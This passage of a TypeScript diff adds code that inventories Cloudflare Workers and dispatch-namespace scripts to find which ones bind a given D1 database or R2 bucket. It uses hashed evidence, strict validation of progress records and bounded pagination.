+  if (!record || typeof record.kind !== 'string') return undefined;
+  if (
+    record.kind === 'd1' &&
+    exactKeys(record, ['kind', 'databaseId']) &&
+    boundedString(record.databaseId)
+  ) {
+    return { kind: 'd1', databaseId: record.databaseId };
+  }
+  if (
+    record.kind === 'r2' &&
+    exactKeys(record, ['kind', 'bucketName']) &&
+    boundedString(record.bucketName)
+  ) {
+    return { kind: 'r2', bucketName: record.bucketName };
+  }
+  return undefined;
+}
+
+function sameTarget(
+  left: WorkerAttachmentScanTarget,
+  right: WorkerAttachmentScanTarget,
+): boolean {
+  return left.kind === right.kind && targetValue(left) === targetValue(right);
+}
+
+const COMMON_KEYS = [
+  'version',
+  'target',
+  'stage',
+  'evidenceSha256',
+  'evidenceCount',
+] as const;
+
+function parseCommon(
+  record: Record<string, unknown>,
+  target: WorkerAttachmentScanTarget,
+): ScanCommon | undefined {
+  const parsedTarget = parseTarget(record.target);
+  if (
+    record.version !== 1 ||
+    !parsedTarget ||
+    !sameTarget(parsedTarget, target) ||
+    !hash(record.evidenceSha256) ||
+    !safeInteger(record.evidenceCount, WORKER_ATTACHMENT_EVIDENCE_BOUND)
+  ) {
+    return undefined;
+  }
+  return {
+    version: 1,
+    target: parsedTarget,
+    evidenceSha256: record.evidenceSha256,
+    evidenceCount: record.evidenceCount,
+  };
+}
+
+function cursorHashes(value: unknown): readonly string[] | undefined {
+  if (
+    !Array.isArray(value) ||
+    value.length > WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND ||
+    !value.every(hash) ||
+    new Set(value).size !== value.length
+  ) {
+    return undefined;
+  }
+  return [...value] as string[];
+}
+
+function validPageStart(
+  pageNumber: number,
+  pageStartCursor: unknown,
+  seenCursorSha256: readonly string[],
+): boolean {
+  if (pageNumber === 0) return pageStartCursor === undefined;
+  return (
+    typeof pageStartCursor === 'string' &&
+    seenCursorSha256[pageNumber - 1] === sha256(pageStartCursor)
+  );
+}
+
+export function parseWorkerAttachmentScanProgress(
+  value: unknown,
+  target: WorkerAttachmentScanTarget,
+): WorkerAttachmentScanProgress {
+  const plain = normalized(value);
+  const record = plainRecord(plain);
+  if (!record || typeof record.stage !== 'string') {
+    throw new CloudflareAttachmentScanProgressError();
+  }
+  const parsedExpectedTarget = parseTarget(normalized(target));
+  if (!parsedExpectedTarget) throw new CloudflareAttachmentScanProgressError();
+  const common = parseCommon(record, parsedExpectedTarget);
+  if (!common) throw new CloudflareAttachmentScanProgressError();
+
+  const malformed = (): never => {
+    throw new CloudflareAttachmentScanProgressError();
+  };
+  switch (record.stage) {
+    case 'ordinary-script-inventory': {
+      if (
+        !exactKeys(
+          record,
+          [...COMMON_KEYS, 'scriptIndex'],
+          ['ordinaryInventorySha256'],
+        ) ||
+        !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        record.ordinaryInventorySha256 !== undefined ||
+        record.scriptIndex !== 0 ||
+        common.evidenceCount !== 0 ||
+        common.evidenceSha256 !== initialEvidence(common.target)
+      ) {
+        return malformed();
+      }
+      return {
+        ...common,
+        stage: record.stage,
+        scriptIndex: record.scriptIndex,
+        ...(typeof record.ordinaryInventorySha256 === 'string'
+          ? { ordinaryInventorySha256: record.ordinaryInventorySha256 }
+          : {}),
+      };
+    }
+    case 'ordinary-deployment': {
+      if (
+        !exactKeys(record, [
+          ...COMMON_KEYS,
+          'ordinaryInventorySha256',
+          'scriptIndex',
+          'scriptName',
+        ]) ||
+        !hash(record.ordinaryInventorySha256) ||
+        !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        !boundedString(record.scriptName) ||
+        common.evidenceCount < record.scriptIndex + 1
+      ) {
+        return malformed();
+      }
+      return {
+        ...common,
+        stage: record.stage,
+        ordinaryInventorySha256: record.ordinaryInventorySha256,
+        scriptIndex: record.scriptIndex,
+        scriptName: record.scriptName,
+      };
+    }
+    case 'ordinary-version': {
+      if (
+        !exactKeys(record, [
+          ...COMMON_KEYS,
+          'ordinaryInventorySha256',
+          'scriptIndex',
+          'scriptName',
+          'deploymentSha256',
+          'versionIndex',
+        ]) ||
+        !hash(record.ordinaryInventorySha256) ||
+        !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        !boundedString(record.scriptName) ||
+        !hash(record.deploymentSha256) ||
+        !safeInteger(record.versionIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        common.evidenceCount < record.scriptIndex + record.versionIndex + 2
+      ) {
+        return malformed();
+      }
+      return {
+        ...common,
+        stage: record.stage,
+        ordinaryInventorySha256: record.ordinaryInventorySha256,
+        scriptIndex: record.scriptIndex,
+        scriptName: record.scriptName,
+        deploymentSha256: record.deploymentSha256,
+        versionIndex: record.versionIndex,
+      };
+    }
+    case 'dispatch-namespace-inventory': {
+      if (
+        !exactKeys(
+          record,
+          [...COMMON_KEYS, 'ordinaryInventorySha256', 'namespaceIndex'],
+          ['namespaceInventorySha256'],
+        ) ||
+        !hash(record.ordinaryInventorySha256) ||
+        !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        record.namespaceInventorySha256 !== undefined ||
+        record.namespaceIndex !== 0 ||
+        common.evidenceCount < 1
+      ) {
+        return malformed();
+      }
+      return {
+        ...common,
+        stage: record.stage,
+        ordinaryInventorySha256: record.ordinaryInventorySha256,
+        namespaceIndex: record.namespaceIndex,
+        ...(typeof record.namespaceInventorySha256 === 'string'
+          ? { namespaceInventorySha256: record.namespaceInventorySha256 }
+          : {}),
+      };
+    }
+    case 'dispatch-script-page': {
+      const seen = cursorHashes(record.seenCursorSha256);
+      if (
+        !exactKeys(
+          record,
+          [
+            ...COMMON_KEYS,
+            'ordinaryInventorySha256',
+            'namespaceInventorySha256',
+            'namespaceIndex',
+            'namespaceName',
+            'pageNumber',
+            'seenCursorSha256',
+            'totalDispatchItems',
+            'dispatchEvidenceSum256',
+            'dispatchEvidenceCount',
+          ],
+          ['pageStartCursor'],
+        ) ||
+        !hash(record.ordinaryInventorySha256) ||
+        !hash(record.namespaceInventorySha256) ||
+        !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        !boundedString(record.namespaceName) ||
+        (record.pageStartCursor !== undefined &&
+          !boundedString(record.pageStartCursor)) ||
+        !safeInteger(
+          record.pageNumber,
+          WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND - 1,
+        ) ||
+        !seen ||
+        !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) ||
+        !hash(record.dispatchEvidenceSum256) ||
+        !safeInteger(
+          record.dispatchEvidenceCount,
+          CLOUDFLARE_INVENTORY_BOUND,
+        ) ||
+        record.dispatchEvidenceCount !== record.totalDispatchItems ||
+        (record.dispatchEvidenceCount === 0 &&
+          record.dispatchEvidenceSum256 !==
+            WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256) ||
+        seen.length !== record.pageNumber ||
+        !validPageStart(record.pageNumber, record.pageStartCursor, seen) ||
+        common.evidenceCount < record.namespaceIndex + 2 ||
+        (record.pageNumber === 0 && record.totalDispatchItems !== 0)
+      ) {
+        return malformed();
+      }
+      return {
+        ...common,
+        stage: record.stage,
+        ordinaryInventorySha256: record.ordinaryInventorySha256,
+        namespaceInventorySha256: record.namespaceInventorySha256,
+        namespaceIndex: record.namespaceIndex,
+        namespaceName: record.namespaceName,
+        ...(typeof record.pageStartCursor === 'string'
+          ? { pageStartCursor: record.pageStartCursor }
+          : {}),
+        pageNumber: record.pageNumber,
+        seenCursorSha256: seen,
+        totalDispatchItems: record.totalDispatchItems,
+        dispatchEvidenceSum256: record.dispatchEvidenceSum256,
+        dispatchEvidenceCount: record.dispatchEvidenceCount,
+      };
+    }
+    case 'dispatch-script-settings': {
+      const seen = cursorHashes(record.seenCursorSha256);
+      if (
+        !exactKeys(
+          record,
+          [
+            ...COMMON_KEYS,
+            'ordinaryInventorySha256',
+            'namespaceInventorySha256',
+            'namespaceIndex',
+            'namespaceName',
+            'pageSha256',
+            'pageItemCount',
+            'itemOffset',
+            'pageNumber',
+            'seenCursorSha256',
+            'totalDispatchItems',
+            'dispatchEvidenceSum256',
+            'dispatchEvidenceCount',
+          ],
+          ['pageStartCursor', 'nextCursor'],
+        ) ||
+        !hash(record.ordinaryInventorySha256) ||
+        !hash(record.namespaceInventorySha256) ||
+        !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) ||
+        !boundedString(record.namespaceName) ||
+        (record.pageStartCursor !== undefined &&
+          !boundedString(record.pageStartCursor)) ||
+        (record.nextCursor !== undefined &&
+          !boundedString(record.nextCursor)) ||
+        !hash(record.pageSha256) ||
+        !safeInteger(
+          record.pageItemCount,
+          WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE,
+        ) ||
+        record.pageItemCount === 0 ||
+        !safeInteger(record.itemOffset, record.pageItemCount as number) ||
+        !safeInteger(
+          record.pageNumber,
+          WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND - 1,
+        ) ||
+        !seen ||
+        !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) ||
+        !hash(record.dispatchEvidenceSum256) ||
+        !safeInteger(
+          record.dispatchEvidenceCount,
+          CLOUDFLARE_INVENTORY_BOUND,
+        ) ||
+        (record.dispatchEvidenceCount === 0 &&
+          record.dispatchEvidenceSum256 !==
+            WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256) ||
+        record.totalDispatchItems < record.pageItemCount ||
+        record.dispatchEvidenceCount !==
+          record.totalDispatchItems -
+            record.pageItemCount +
+            (record.itemOffset as number) ||
+        seen.length !==
+          record.pageNumber + (record.nextCursor === undefined ? 0 : 1) ||
+        !validPageStart(record.pageNumber, record.pageStartCursor, seen) ||
+        common.evidenceCount < record.namespaceIndex + 2 ||
+        (record.pageNumber === 0 &&
+          record.totalDispatchItems !== record.pageItemCount) ||
+        (record.pageNumber === WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND - 1 &&
+          record.nextCursor !== undefined) ||
+        (typeof record.nextCursor === 'string' &&
+          seen.at(-1) !== sha256(record.nextCursor))
+      ) {
+        return malformed();
+      }
+      return {
+        ...common,
+        stage: record.stage,
+        ordinaryInventorySha256: record.ordinaryInventorySha256,
+        namespaceInventorySha256: record.namespaceInventorySha256,
+        namespaceIndex: record.namespaceIndex,
+        namespaceName: record.namespaceName,
+        ...(typeof record.pageStartCursor === 'string'
+          ? { pageStartCursor: record.pageStartCursor }
+          : {}),
+        ...(typeof record.nextCursor === 'string'
+          ? { nextCursor: record.nextCursor }
+          : {}),
+        pageSha256: record.pageSha256,
+        pageItemCount: record.pageItemCount,
+        itemOffset: record.itemOffset,
+        pageNumber: record.pageNumber,
+        seenCursorSha256: seen,
+        totalDispatchItems: record.totalDispatchItems,
+        dispatchEvidenceSum256: record.dispatchEvidenceSum256,
+        dispatchEvidenceCount: record.dispatchEvidenceCount,
+      };
+    }
+    default:
+      return malformed();
+  }
+}
+
+export function initialWorkerAttachmentScan(
+  target: WorkerAttachmentScanTarget,
+): WorkerAttachmentScanProgress {
+  const parsedTarget = parseTarget(normalized(target));
+  if (!parsedTarget) throw new CloudflareAttachmentScanProgressError();
+  return {
+    version: 1,
+    target: parsedTarget,
+    stage: 'ordinary-script-inventory',
+    evidenceSha256: initialEvidence(parsedTarget),
+    evidenceCount: 0,
+    scriptIndex: 0,
+  };
+}
diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts
new file mode 100644
index 00000000..f1f680b6
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts
@@ -0,0 +1,1233 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import {
+  CLOUDFLARE_INVENTORY_BOUND,
+  CLOUDFLARE_SDK_MAX_ATTEMPTS,
+  inventoryBoundExceeded,
+} from './cloudflare-client-config.js';
+import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js';
+import { isNotFound } from './cloudflare-provider-errors.js';
+import {
+  assertWorkerAttachmentProviderRequestBudget,
+  WORKER_ATTACHMENT_CURSOR_BYTE_BOUND as CURSOR_BYTE_BOUND,
+  WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND as DISPATCH_PAGE_BOUND,
+  WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE as DISPATCH_PAGE_SIZE,
+  WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256 as EMPTY_MULTISET_SUM256,
+  WORKER_ATTACHMENT_EVIDENCE_BOUND as EVIDENCE_BOUND,
+  initialWorkerAttachmentScan,
+  parseWorkerAttachmentScanProgress,
+  type WorkerAttachment,
+  type WorkerAttachmentScanChunk,
+  type WorkerAttachmentScanInput,
+  type WorkerAttachmentScanProgress,
+  type WorkerAttachmentScanTarget,
+} from './cloudflare-worker-attachment-scan-state.js';
+import { cancelBodyWithoutAwait } from './database-export-store.js';
+
+export {
+  CloudflareAttachmentScanProgressError,
+  initialWorkerAttachmentScan,
+  parseWorkerAttachmentScanProgress,
+  type WorkerAttachment,
+  type WorkerAttachmentScanChunk,
+  type WorkerAttachmentScanInput,
+  type WorkerAttachmentScanProgress,
+  type WorkerAttachmentScanTarget,
+} from './cloudflare-worker-attachment-scan-state.js';
+
+export interface DispatchScriptPageInput {
+  readonly namespace: string;
+  readonly cursor?: string;
+  readonly perPage: number;
+  readonly signal?: AbortSignal;
+}
+
+export interface CloudflareWorkerAttachmentScanContext {
+  readonly accountId: string;
+  readonly client: CloudflareSdk;
+  readonly dispatchNamespace?: string;
+  requestDispatchScriptPage(input: DispatchScriptPageInput): Promise<Response>;
+}
+
+interface NormalizedNamespace {
+  readonly name: string;
+  readonly id: string | null;
+  readonly scriptCount: number | null;
+}
+
+interface NormalizedDispatchScript {
+  readonly id: string;
+  readonly tags: readonly string[];
+}
+
+interface DispatchScriptPage {
+  readonly scripts: readonly NormalizedDispatchScript[];
+  readonly nextCursor?: string;
+}
+
+interface ActiveVersion {
+  readonly versionId: string;
+  readonly percentage: number | undefined;
+}
+
+class ProviderFetchBudget {
+  readonly #maximum: number;
+  #reserved = 0;
+
+  constructor(maximum: number) {
+    assertWorkerAttachmentProviderRequestBudget(maximum);
+    this.#maximum = maximum;
+  }
+
+  reserve(): boolean {
+    if (this.#reserved + CLOUDFLARE_SDK_MAX_ATTEMPTS > this.#maximum) {
+      return false;
+    }
+    this.#reserved += CLOUDFLARE_SDK_MAX_ATTEMPTS;
+    return true;
+  }
+
+  get reserved(): number {
+    return this.#reserved;
+  }
+}
+
+export class CloudflareAttachmentScanDriftError extends Error {
+  constructor() {
+    super('Cloudflare attachment inventory changed during a resumable scan');
+    this.name = 'CloudflareAttachmentScanDriftError';
+  }
+}
+
+function sha256(value: string): string {
+  return createHash('sha256').update(value).digest('hex');
+}
+
+function addEvidence(
+  progress: WorkerAttachmentScanProgress,
+  leaf: readonly unknown[],
+  observationCount = 1,
+): Pick<WorkerAttachmentScanProgress, 'evidenceSha256' | 'evidenceCount'> {
+  if (
+    !safeInteger(observationCount, EVIDENCE_BOUND) ||
+    progress.evidenceCount + observationCount > EVIDENCE_BOUND
+  ) {
+    throw new Error(
+      `Cloudflare attachment evidence exceeded ${EVIDENCE_BOUND} leaves`,
+    );
+  }
+  return {
+    evidenceSha256: sha256(JSON.stringify([progress.evidenceSha256, leaf])),
+    evidenceCount: progress.evidenceCount + observationCount,
+  };
+}
+
+function addMultisetEvidence(sum256: string, leaf: readonly unknown[]): string {
+  const modulus = 1n << 256n;
+  const sum = BigInt(`0x${sum256}`);
+  const digest = BigInt(`0x${sha256(JSON.stringify(leaf))}`);
+  return ((sum + digest) % modulus).toString(16).padStart(64, '0');
+}
+
+function utf8Length(value: string): number {
+  return new TextEncoder().encode(value).byteLength;
+}
+
+function plainRecord(value: unknown): Record<string, unknown> | undefined {
+  try {
+    if (typeof value !== 'object' || value === null || Array.isArray(value)) {
+      return undefined;
+    }
+    const prototype = Object.getPrototypeOf(value);
+    if (prototype !== Object.prototype && prototype !== null) return undefined;
+    const keys = Reflect.ownKeys(value);
+    const entries: Array<readonly [string, unknown]> = [];
+    for (const key of keys) {
+      if (typeof key !== 'string') return undefined;
+      const descriptor = Object.getOwnPropertyDescriptor(value, key);
+      if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) {
+        return undefined;
+      }
+      entries.push([key, descriptor.value]);
+    }
+    return Object.fromEntries(entries);
+  } catch {
+    return undefined;
+  }
+}
+
+function safeInteger(
+  value: unknown,
+  maximum = Number.MAX_SAFE_INTEGER,
+): value is number {
+  return (
+    Number.isSafeInteger(value) &&
+    Number(value) >= 0 &&
+    Number(value) <= maximum
+  );
+}
+
+function boundedString(
+  value: unknown,
+  options: { readonly allowEmpty?: boolean } = {},
+): value is string {
+  return (
+    typeof value === 'string' &&
+    (options.allowEmpty || value.length > 0) &&
+    utf8Length(value) <= CURSOR_BYTE_BOUND
+  );
+}
+
+function codeUnitCompare(left: string, right: string): number {
+  return left < right ? -1 : left > right ? 1 : 0;
+}
+
+function drift(): never {
+  throw new CloudflareAttachmentScanDriftError();
+}
+
+function checkSignal(signal: AbortSignal | undefined): void {
+  signal?.throwIfAborted();
+}
+
+function pending(
+  progress: WorkerAttachmentScanProgress,
+  attachments: readonly WorkerAttachment[],
+  budget: ProviderFetchBudget,
+): WorkerAttachmentScanChunk {
+  return {
+    status: 'pending',
+    progress,
+    attachments,
+    providerFetchAttemptsReserved: budget.reserved,
+  };
+}
+
+function attached(
+  attachment: WorkerAttachment,
+  budget: ProviderFetchBudget,
+): WorkerAttachmentScanChunk {
+  return {
+    status: 'attached',
+    attachment,
+    providerFetchAttemptsReserved: budget.reserved,
+  };
+}
+
+function complete(
+  progress: WorkerAttachmentScanProgress,
+  attachments: readonly WorkerAttachment[],
+  budget: ProviderFetchBudget,
+): WorkerAttachmentScanChunk {
+  return {
+    status: 'complete',
+    evidenceSha256: progress.evidenceSha256,
+    evidenceCount: progress.evidenceCount,
+    attachments,
+    providerFetchAttemptsReserved: budget.reserved,
+  };
+}
+
+function targetMatches(
+  target: WorkerAttachmentScanTarget,
+  bindings: readonly Readonly<Record<string, unknown>>[],
+): boolean {
+  return bindings.some((binding) =>
+    target.kind === 'd1'
+      ? binding.type === 'd1' && binding.database_id === target.databaseId
+      : binding.type === 'r2_bucket' &&
+        binding.bucket_name === target.bucketName,
+  );
+}
+
+function bindingsFrom(
+  value: readonly unknown[],
+): readonly Readonly<Record<string, unknown>>[] {
+  return value.map((binding) => {
+    const record = plainRecord(binding);
+    if (
+      !record ||
+      !boundedString(record.type) ||
+      record.type !== record.type.trim()
+    ) {
+      throw new Error('Cloudflare Worker binding inventory was malformed');
+    }
+    if (record.type === 'd1' || record.type === 'r2_bucket') {
+      const identity =
+        record.type === 'd1' ? record.database_id : record.bucket_name;
+      if (
+        !boundedString(identity) ||
+        identity !== identity.trim() ||
+        (record.type === 'd1' &&
+          Object.hasOwn(record, 'id') &&
+          record.id !== '' &&
+          record.id !== identity)
+      ) {
+        throw new Error('Cloudflare Worker binding inventory was malformed');
+      }
+    }
+    return record;
+  });
+}
+
+function versionBindings(
+  value: unknown,
+): readonly Readonly<Record<string, unknown>>[] {
+  const record = plainRecord(value);
+  const resources = plainRecord(record?.resources);
+  if (!resources || !Array.isArray(resources.bindings)) {
+    throw new Error(
+      'Cloudflare ordinary Worker version binding inventory was malformed',
+    );
+  }
+  return bindingsFrom(resources?.bindings);
+}
+
+function settingsBindings(
+  value: unknown,
+): readonly Readonly<Record<string, unknown>>[] {
+  const record = plainRecord(value);
+  if (!record || !Array.isArray(record.bindings)) {
+    throw new Error(
+      'Cloudflare dispatch Worker binding inventory was malformed',
+    );
+  }
+  return bindingsFrom(record.bindings);
+}
+
+function normalizedPageDigest(
+  page: DispatchScriptPage,
+  pageStartCursor: string | undefined,
+): string {
+  const scripts = canonicalDispatchScripts(page.scripts);
+  return sha256(
+    JSON.stringify([
+      pageStartCursor ?? null,
+      scripts.map((script) => [script.id, script.tags]),
+      page.nextCursor ?? null,
+    ]),
+  );
+}
+
+function canonicalDispatchScripts(
+  scripts: readonly NormalizedDispatchScript[],
+): readonly NormalizedDispatchScript[] {
+  return scripts
+    .map((script) => ({
+      id: script.id,
+      tags: [...script.tags].sort(codeUnitCompare),
+    }))
+    .sort((left, right) => codeUnitCompare(left.id, right.id));
+}
+
+function cursorDigest(cursor: string): string {
+  return sha256(cursor);
+}
+
+function normalizeProviderCursor(value: unknown): string | undefined {
+  if (value === undefined || value === null || value === '') return undefined;
+  if (typeof value !== 'string' || utf8Length(value) > CURSOR_BYTE_BOUND) {
+    throw new Error(
+      'Cloudflare dispatch script listing returned a malformed cursor',
+    );
+  }
+  return value;
+}
+
+function nextCursorFrom(payload: Record<string, unknown>): string | undefined {
+  if (!Object.hasOwn(payload, 'result_info') || payload.result_info === null)
+    return undefined;
+  const resultInfo = plainRecord(payload.result_info);
+  if (!resultInfo) {
+    throw new Error(
+      'Cloudflare dispatch script listing returned a malformed cursor',
+    );
+  }
+  let cursors: Record<string, unknown> | undefined;
+  if (Object.hasOwn(resultInfo, 'cursors')) {
+    cursors = plainRecord(resultInfo.cursors);
+    if (!cursors) {
+      throw new Error(
+        'Cloudflare dispatch script listing returned a malformed cursor',
+      );
+    }
+  }
+  return normalizeProviderCursor(
+    Object.hasOwn(resultInfo, 'cursor') ? resultInfo.cursor : cursors?.after,
+  );
+}
+
+export async function listDispatchScriptPage(
+  context: CloudflareWorkerAttachmentScanContext,
+  input: DispatchScriptPageInput,
+): Promise<DispatchScriptPage> {
+  let response: Response | undefined;
+  for (let attempt = 0; attempt < CLOUDFLARE_SDK_MAX_ATTEMPTS; attempt += 1) {
+    // A superseded attempt's body is never read. Cancelling it before the
+    // signal check covers the abort exit as well as the next request.
+    cancelBodyWithoutAwait(
+      response?.body,
+      'Cloudflare dispatch script listing attempt superseded',
+    );
+    checkSignal(input.signal);
+    response = await context.requestDispatchScriptPage(input);
+    if (response.status !== 429 && response.status < 500) break;
+  }
+  if (!response?.ok) {
+    const refusal = new Error(
+      `Cloudflare dispatch script listing failed with status ${response?.status ?? 'unknown'}`,
+    );
+    cancelBodyWithoutAwait(response?.body, refusal);
+    throw refusal;
+  }
+  const payload: unknown = await response.json();
+  const record = plainRecord(payload);
+  if (!record || !Object.hasOwn(record, 'result')) {
+    throw new Error('Cloudflare dispatch script listing was malformed');
+  }
+  if (record.success !== true) {
+    throw new Error('Cloudflare dispatch script listing reported failure');
+  }
+  const errors = record.errors ?? undefined;
+  if (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) {
+    throw new Error('Cloudflare dispatch script listing returned errors');
+  }
+  if (!Array.isArray(record.result)) {
+    throw new Error('Cloudflare dispatch script listing had no result array');
+  }
+  const scripts: NormalizedDispatchScript[] = [];
+  for (const item of record.result) {
+    const candidate = plainRecord(item);
+    if (!candidate || !Object.hasOwn(candidate, 'id')) {
+      throw new Error(
+        'Cloudflare dispatch script listing contained an invalid item',
+      );
+    }
+    const id = candidate.id;
+    const tags = candidate.tags;
+    if (
+      !boundedString(id) ||
+      (tags !== undefined &&
+        (!Array.isArray(tags) || !tags.every((tag) => typeof tag === 'string')))
+    ) {
+      throw new Error(
+        'Cloudflare dispatch script listing contained malformed script metadata',
+      );
+    }
+    scripts.push({
+      id,
+      tags: (tags as string[] | undefined) ?? [],
+    });
+  }
+  const nextCursor = nextCursorFrom(record);
+  return {
+    scripts,
+    ...(nextCursor === undefined ? {} : { nextCursor }),
+  };
+}
+
+export async function listAllDispatchScripts(
+  context: CloudflareWorkerAttachmentScanContext,
+  namespace: string,
+  signal?: AbortSignal,
+): Promise<readonly NormalizedDispatchScript[]> {
+  const scripts: NormalizedDispatchScript[] = [];
+  let cursor: string | undefined;
+  let pageNumber = 0;
+  const seenCursorSha256 = new Set<string>();
+  do {
+    const page = await listDispatchScriptPage(context, {
+      namespace,
+      cursor,
+      perPage: 1_000,
+      signal,
+    });
+    scripts.push(...page.scripts);
+    if (scripts.length > CLOUDFLARE_INVENTORY_BOUND) {
+      throw inventoryBoundExceeded(
+        'dispatch script inventory',
+        CLOUDFLARE_INVENTORY_BOUND,
+      );
+    }
+    cursor = page.nextCursor;
+    if (cursor) {
+      pageNumber += 1;
+      if (pageNumber >= DISPATCH_PAGE_BOUND) {
+        throw new Error(
+          'Cloudflare dispatch script listing exceeded 100 pages',
+        );
+      }
+      const digest = cursorDigest(cursor);
+      if (seenCursorSha256.has(digest)) {
+        throw new Error('Cloudflare dispatch script listing repeated a cursor');
+      }
+      seenCursorSha256.add(digest);
+    }
+  } while (cursor);
+  return scripts;
+}
+
+async function listOrdinaryScripts(
+  context: CloudflareWorkerAttachmentScanContext,
+  target: WorkerAttachmentScanTarget,
+  signal: AbortSignal | undefined,
+): Promise<readonly string[]> {
+  checkSignal(signal);
+  const scripts: string[] = [];
+  const listed = context.client.workers.scripts.list(
+    { account_id: context.accountId },
+    { signal },
+  );
+  for await (const script of listed) {
+    const id = script.id;
+    if (!boundedString(id)) {
+      throw new Error(
+        target.kind === 'd1'
+          ? 'Cloudflare ordinary Worker listing contained a script without an id'
+          : 'ordinary Worker has no id',
+      );
+    }
+    scripts.push(id);
+    if (scripts.length > CLOUDFLARE_INVENTORY_BOUND) {
+      throw inventoryBoundExceeded(
+        'ordinary Worker script inventory',
+        CLOUDFLARE_INVENTORY_BOUND,
+      );
+    }
+  }
+  return scripts.sort(codeUnitCompare);
+}
+
+async function listDispatchNamespaces(
+  context: CloudflareWorkerAttachmentScanContext,
+  target: WorkerAttachmentScanTarget,
+  signal: AbortSignal | undefined,
+): Promise<readonly NormalizedNamespace[]> {
+  checkSignal(signal);
+  const namespaces: NormalizedNamespace[] = [];
+  let yielded = false;
+  try {
+    const listed = context.client.workersForPlatforms.dispatch.namespaces.list(
+      { account_id: context.accountId },
+      { signal },
+    );
+    for await (const namespace of listed) {
+      yielded = true;
+      if (!boundedString(namespace.namespace_name)) {
+        throw new Error(
+          target.kind === 'd1'
+            ? 'Cloudflare dispatch namespace listing contained an unidentified namespace'
+            : 'dispatch namespace has no name',
+        );
+      }
+      if (
+        namespace.namespace_id !== undefined &&
+        !boundedString(namespace.namespace_id)
+      ) {
+        throw new Error(
+          `Cloudflare dispatch namespace '${namespace.namespace_name}' had malformed identity metadata`,
+        );
+      }
+      namespaces.push({
+        name: namespace.namespace_name,
+        id: namespace.namespace_id ?? null,
+        scriptCount:
+          typeof namespace.script_count === 'number' &&
+          Number.isSafeInteger(namespace.script_count) &&
+          namespace.script_count >= 0
+            ? namespace.script_count
+            : null,
+      });
+      if (namespaces.length > CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'dispatch namespace inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+    }
+  } catch (error) {
+    if (
+      context.dispatchNamespace !== undefined ||
+      yielded ||
+      !isNotFound(error)
+    ) {
+      throw error;
+    }
+  }
+  return namespaces.sort((left, right) =>
+    codeUnitCompare(left.name, right.name),
+  );
+}
+
+function deploymentVersions(
+  value: unknown,
+  target: WorkerAttachmentScanTarget,
+  scriptName: string,
+): readonly ActiveVersion[] | undefined {
+  const response = plainRecord(value);
+  const deployments = response?.deployments;
+  if (!Array.isArray(deployments)) {
+    throw new Error(
+      `Cloudflare deployment inventory for ordinary Worker '${scriptName}' was malformed`,
+    );
+  }
+  if (deployments.length === 0) return undefined;
+  const active = plainRecord(deployments[0]);
+  const rawVersions = active?.versions;
+  if (
+    target.kind === 'd1' &&
+    (!Array.isArray(rawVersions) || rawVersions.length === 0)
+  ) {
+    throw new Error(
+      `Cloudflare current deployment for ordinary Worker '${scriptName}' had no versions`,
+    );
+  }
+  if (!Array.isArray(rawVersions)) return undefined;
+  const versions: ActiveVersion[] = [];
+  let hasLiveVersion = false;
+  for (const raw of rawVersions) {
+    const version = plainRecord(raw);
+    const versionId = version?.version_id;
+    if (typeof versionId !== 'string' || versionId.length === 0) {
+      throw new Error(
+        target.kind === 'd1'
+          ? `Cloudflare current deployment for ordinary Worker '${scriptName}' had malformed version metadata`
+          : `ordinary Worker '${scriptName}' has a malformed version`,
+      );
+    }
+    const percentage = version?.percentage;
+    if (target.kind === 'd1') {
+      if (
+        typeof percentage !== 'number' ||
+        !Number.isFinite(percentage) ||
+        percentage < 0 ||
+        percentage > 100
+      ) {
+        throw new Error(
+          `Cloudflare current deployment for ordinary Worker '${scriptName}' had malformed version metadata`,
+        );
+      }
+      if (percentage > 0) hasLiveVersion = true;
+    }
+    versions.push({
+      versionId,
+      percentage:
+        typeof percentage === 'number' && Number.isFinite(percentage)
+          ? percentage
+          : undefined,
+    });
+    if (versions.length > CLOUDFLARE_INVENTORY_BOUND) {
+      throw inventoryBoundExceeded(
+        `ordinary Worker '${scriptName}' deployment version inventory`,
+        CLOUDFLARE_INVENTORY_BOUND,
+      );
+    }
+  }
+  if (target.kind === 'd1' && !hasLiveVersion) {
+    throw new Error(
+      `Cloudflare current deployment for ordinary Worker '${scriptName}' had no live versions`,
+    );
+  }
+  return versions;
+}
+
+function deploymentDigest(versions: readonly ActiveVersion[]): string {
+  return sha256(
+    JSON.stringify(
+      versions.map((version) => [version.versionId, version.percentage]),
+    ),
+  );
+}
+
+function namespaceDigest(namespaces: readonly NormalizedNamespace[]): string {
+  return sha256(
+    JSON.stringify(
+      namespaces.map((namespace) => [
+        namespace.name,
+        namespace.id,
+        namespace.scriptCount,
+      ]),
+    ),
+  );
+}
+
+function ordinaryDigest(scripts: readonly string[]): string {
+  return sha256(JSON.stringify(scripts));
+}
+
+type ScanCommon = Readonly<{
+  version: 1;
